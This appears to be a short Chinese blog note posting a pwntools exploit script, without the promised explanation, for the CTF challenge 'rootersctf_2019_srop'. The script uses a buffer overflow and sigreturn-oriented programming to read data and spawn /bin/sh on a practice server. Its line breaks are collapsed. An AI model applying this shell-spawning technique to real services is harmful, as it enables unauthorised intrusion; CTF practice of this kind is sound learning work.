脚本先放着,思路空了再写
#coding:utf8from pwn import *context.arch='amd64'context.log_level = 'debug'io = process("./rootersctf_2019_srop")io = remote("node4.buuoj.cn",27383)elf = ELF("./rootersctf_2019_srop")frame = SigreturnFrame()pop_rax_syscall_addr =0x0000000000401032 #pop raxsyscall_addr = 0x401033data_addr=0x0000000000402000offest = 0x88frame.rax = 0frame.rdi = 0frame.rdx = 0x400frame.rsi = data_addrframe.rip = syscall_addrframe.rbp = data_addr+0x20payload = b'a'*offest + p64(pop_rax_syscall_addr)+p64(0xf)+str(frame)io.sendlineafter("Hey, can i get some feedback for the CTF?",payload)frame = SigreturnFrame()frame.rax=59frame.rip = syscall_addrframe.rdi = data_addrframe.rsi =0frame.rdx =0payload = "/bin/sh\x00"+b'a'*0x20+p64(pop_rax_syscall_addr)+p64(0xf)+str(frame)# gdb.attach(io)# pause()io.sendline(payload)io.interactive()
